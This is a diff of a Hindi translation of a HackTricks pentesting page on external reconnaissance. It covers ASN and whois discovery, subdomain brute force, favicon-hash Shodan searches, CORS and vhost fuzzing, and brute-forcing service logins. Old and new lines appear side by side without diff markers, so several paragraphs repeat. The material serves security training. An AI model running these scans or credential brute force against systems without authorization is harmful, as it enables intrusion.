AWS हैकिंग सीखें और अभ्यास करें:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Assets discoveries
|
||||
|
||||
> तो आपको बताया गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है।
|
||||
> तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है।
|
||||
|
||||
इस चरण का लक्ष्य मुख्य कंपनी द्वारा स्वामित्व वाली सभी **कंपनियों** और फिर इन कंपनियों के सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम:
|
||||
इस चरण का लक्ष्य मुख्य कंपनी द्वारा स्वामित्व वाली सभी **कंपनियों** को प्राप्त करना है और फिर इन कंपनियों के सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम:
|
||||
|
||||
1. मुख्य कंपनी के अधिग्रहणों को खोजेंगे, इससे हमें दायरे के भीतर की कंपनियाँ मिलेंगी।
|
||||
2. प्रत्येक कंपनी का ASN (यदि कोई हो) खोजेंगे, इससे हमें प्रत्येक कंपनी द्वारा स्वामित्व वाले IP रेंज मिलेंगे।
|
||||
|
@ -35,17 +35,17 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
### **Acquisitions**
|
||||
|
||||
सबसे पहले, हमें यह जानने की आवश्यकता है कि **मुख्य कंपनी द्वारा स्वामित्व वाली अन्य कंपनियाँ कौन सी हैं**।\
|
||||
एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोज** करना, और "**अधिग्रहण**" पर **क्लिक** करना। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\
|
||||
एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोजें**, और "**अधिग्रहण**" पर **क्लिक** करें। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\
|
||||
दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाना और **अधिग्रहण** के लिए खोज करना।
|
||||
|
||||
> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलो उनके संपत्तियों को खोजने का तरीका समझते हैं।
|
||||
> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलिए हम उनकी संपत्तियों को खोजने का तरीका समझते हैं।
|
||||
|
||||
### **ASNs**
|
||||
|
||||
एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\
|
||||
एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है।
|
||||
|
||||
यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\
|
||||
यह जानना दिलचस्प है कि क्या **कंपनी ने किसी ASN को असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ **कमजोरी परीक्षण** करने और इन IPs के भीतर **डोमेन** की खोज करने के लिए दिलचस्प होगा।\
|
||||
आप [**https://bgp.he.net/**](https://bgp.he.net)** पर कंपनी के **नाम**, **IP** या **डोमेन** द्वारा **खोज** कर सकते हैं।\
|
||||
**कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है।
|
||||
```bash
|
||||
|
@ -75,15 +75,15 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
|
|||
|
||||
### **कमजोरियों की तलाश**
|
||||
|
||||
इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** के बारे में जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\
|
||||
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **लॉन्च कर सकते हैं** या **खुले पोर्ट खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं** और जो कुछ भी आप पाते हैं उसके आधार पर आपको इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का परीक्षण करना है।\
|
||||
**इसके अलावा, यह उल्लेख करना भी फायदेमंद हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।**
|
||||
इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\
|
||||
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **या** shodan **जैसी सेवाओं का उपयोग करके** खुले पोर्ट **खोज सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करें।\
|
||||
**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।**
|
||||
|
||||
## डोमेन
|
||||
|
||||
> हम स्कोप के अंदर सभी कंपनियों और उनकी संपत्तियों को जानते हैं, अब स्कोप के अंदर डोमेन खोजने का समय है।
|
||||
|
||||
_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी खोज सकते हैं और उस जानकारी को कम करके नहीं आंका जाना चाहिए।_
|
||||
_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी खोज सकते हैं और उस जानकारी को कम नहीं आंका जाना चाहिए।_
|
||||
|
||||
सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा।
|
||||
|
||||
|
@ -97,12 +97,12 @@ dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
|||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
For this to work, the administrator has to enable manually the PTR.\
|
||||
आप इस जानकारी के लिए एक ऑनलाइन टूल का भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\
|
||||
आप ऑनलाइन टूल का उपयोग कर सकते हैं जैसे:
|
||||
You can use online tools like:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free**
|
||||
|
@ -113,14 +113,14 @@ Inside a **whois** you can find a lot of interesting **information** like **orga
|
|||
* [https://www.domainiq.com/](https://www.domainiq.com) - Not Free
|
||||
|
||||
You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
|
||||
आप कुछ स्वचालित रिवर्स Whois खोज भी कर सकते हैं [amass](https://github.com/OWASP/Amass) के साथ: `amass intel -d tesla.com -whois`
|
||||
You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Note that you can use this technique to discover more domain names every time you find a new domain.**
|
||||
|
||||
### **Trackers**
|
||||
|
||||
If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
|
||||
उदाहरण के लिए, यदि आप कई पृष्ठों पर वही **Google Analytics ID** या वही **Adsense ID** देखते हैं।
|
||||
For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
|
||||
|
||||
There are some pages and tools that let you search by these trackers and more:
|
||||
|
||||
|
@ -132,16 +132,16 @@ There are some pages and tools that let you search by these trackers and more:
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) टूल [@m4ll0k2](https://twitter.com/m4ll0k2) द्वारा बनाया गया है। इसका उपयोग कैसे करें:
|
||||
क्या आप जानते हैं कि हम अपने लक्ष्य से संबंधित डोमेन और उप डोमेन को समान favicon आइकन हैश की तलाश करके खोज सकते हैं? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) उपकरण [@m4ll0k2](https://twitter.com/m4ll0k2) द्वारा बनाया गया है। इसका उपयोग कैसे करें:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||
![favihash - समान favicon आइकन हैश वाले डोमेन खोजें](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
साधारण शब्दों में, favihash हमें उन डोमेन को खोजने की अनुमति देगा जिनका हमारे लक्ष्य के समान favicon आइकन हैश है।
|
||||
साधारण शब्दों में, favihash हमें उन डोमेन को खोजने की अनुमति देगा जिनका favicon आइकन हैश हमारे लक्ष्य के समान है।
|
||||
|
||||
इसके अलावा, आप [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाए गए अनुसार favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं। इसका मतलब है कि यदि आप एक कमजोर वेब तकनीक के favicon का **हैश जानते हैं**, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को खोज सकते हैं:
|
||||
इसके अलावा, आप [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाए गए अनुसार favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं। इसका मतलब है कि यदि आप एक कमजोर वेब तकनीक के favicon का **हैश जानते हैं** तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को खोज सकते हैं:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -160,7 +160,7 @@ return fhash
|
|||
```
|
||||
### **Copyright / Uniq string**
|
||||
|
||||
वेब पृष्ठों के अंदर **स्ट्रिंग्स की खोज करें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा की जा सकती हैं**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग की **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोज करें: `shodan search http.html:"Copyright string"`
|
||||
वेब पृष्ठों के अंदर **ऐसे स्ट्रिंग्स की खोज करें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा की जा सकें**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग की **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोज करें: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT Time**
|
||||
|
||||
|
@ -275,9 +275,9 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
There are **अन्य दिलचस्प उपकरण/एपीआई** जो सीधे तौर पर उपडोमेन खोजने में विशेषज्ञ नहीं हैं, लेकिन उपडोमेन खोजने में उपयोगी हो सकते हैं, जैसे:
|
||||
There are **अन्य दिलचस्प उपकरण/एपीआई** जो सीधे उपडोमेन खोजने में विशेषज्ञ नहीं हैं, लेकिन उपडोमेन खोजने में उपयोगी हो सकते हैं, जैसे:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** उपडोमेन प्राप्त करने के लिए एपीआई [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करता है
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
|
@ -337,10 +337,10 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और आईपी इतिहास खोजने के लिए एक मुफ्त API है
|
||||
* [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास के लिए एक मुफ्त API है
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में** प्रदान करता है। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में प्रदान करता है**। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
आप यहाँ इन उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
|
@ -356,11 +356,11 @@ python3 DomainTrail.py -d example.com
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
और अच्छे DNS रिसॉल्वर के आईपी भी। विश्वसनीय DNS रिसॉल्वर की सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसॉल्वर डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
DNS ब्रूट-फोर्स के लिए सबसे अनुशंसित उपकरण हैं:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): यह पहला उपकरण था जिसने प्रभावी DNS ब्रूट-फोर्स किया। यह बहुत तेज है हालांकि यह गलत सकारात्मक के प्रति संवेदनशील है।
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): यह पहला उपकरण था जिसने प्रभावी DNS ब्रूट-फोर्स किया। यह बहुत तेज है, हालाँकि यह गलत सकारात्मक के प्रति संवेदनशील है।
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
|
@ -378,7 +378,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
|||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) असिंक्रोनसली डोमेन नामों को ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है।
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) असिंक्रोनस रूप से डोमेन नामों को ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है।
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
|
@ -395,12 +395,12 @@ cat subdomains.txt | dnsgen -
|
|||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए जाने पर संयोजन उत्पन्न करें। यदि संयोजन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** दिए गए डोमेन और उपडोमेन के लिए संयोजन उत्पन्न करें। यदि संयोजन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की भी कोशिश कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)।
|
||||
* आप altdns संयोजनों की **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं।
|
||||
* आप altdns संयोजनों की **शब्दसूची** [**यहाँ**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं।
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
|
@ -414,13 +414,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
|||
|
||||
#### स्मार्ट संयोजन उत्पन्न करना
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** के **मुख्य भागों** को प्राप्त करेगा और अधिक उपडोमेन खोजने के लिए उन्हें मिलाएगा।
|
||||
* [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** के **मुख्य भागों** को प्राप्त करेगा और उन्हें मिलाकर अधिक उपडोमेन खोजने की कोशिश करेगा।
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक उपडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें एक लूप में और भी विस्तारित किया जा सके।
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक सबडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें और भी आगे बढ़ाया जा सके।
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -457,35 +457,35 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
|||
VHostScan -t example.com
|
||||
```
|
||||
{% hint style="info" %}
|
||||
इस तकनीक के साथ, आप आंतरिक/छिपे हुए एंडपॉइंट्स तक पहुँचने में सक्षम हो सकते हैं।
|
||||
इस तकनीक के साथ आप आंतरिक/छिपे हुए एंडपॉइंट्स तक भी पहुँच सकते हैं।
|
||||
{% endhint %}
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
||||
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं।
|
||||
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाती हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं।
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Buckets Brute Force**
|
||||
|
||||
जब आप **subdomains** की तलाश कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **bucket** की ओर **pointing** कर रहा है, और इस मामले में [**permissions की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
जब **subdomains** की तलाश कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **bucket** की ओर **pointing** कर रहा है, और इस मामले में [**permissions की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभावित bucket नामों को brute force करने और permissions की जांच करने के लिए**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorization**
|
||||
|
||||
आप **Certificate Transparency** Logs की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए subdomains** बनाए गए हैं, [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) ऐसा करता है।
|
||||
आप **Certificate Transparency** Logs की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए subdomains** बनाए गए हैं [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) करता है।
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
संभावित [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\
|
||||
यदि **subdomain** किसी **S3 bucket** की ओर **pointing** कर रहा है, तो [**permissions की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
यदि आप किसी **subdomain को एक IP के साथ पाते हैं जो पहले से आपके द्वारा खोजे गए IPs से अलग है**, तो आपको एक **बुनियादी vulnerability scan** (Nessus या OpenVAS का उपयोग करके) और कुछ [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" के लिए** पा सकते हैं।\
|
||||
यदि आप किसी **subdomain को एक IP के साथ पाते हैं जो पहले से आपके द्वारा खोजे गए IPs से अलग है**, तो आपको एक **बुनियादी vulnerability scan** (Nessus या OpenVAS का उपयोग करके) और कुछ [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\
|
||||
_ध्यान दें कि कभी-कभी subdomain एक IP के अंदर होस्ट किया जाता है जो क्लाइंट द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
|
||||
|
||||
## IPs
|
||||
|
||||
प्रारंभिक चरणों में, आपने **कुछ IP रेंज, डोमेन और subdomains** पाए होंगे।\
|
||||
प्रारंभिक चरणों में, आपने **कुछ IP रेंज, डोमेन और subdomains** पाए हो सकते हैं।\
|
||||
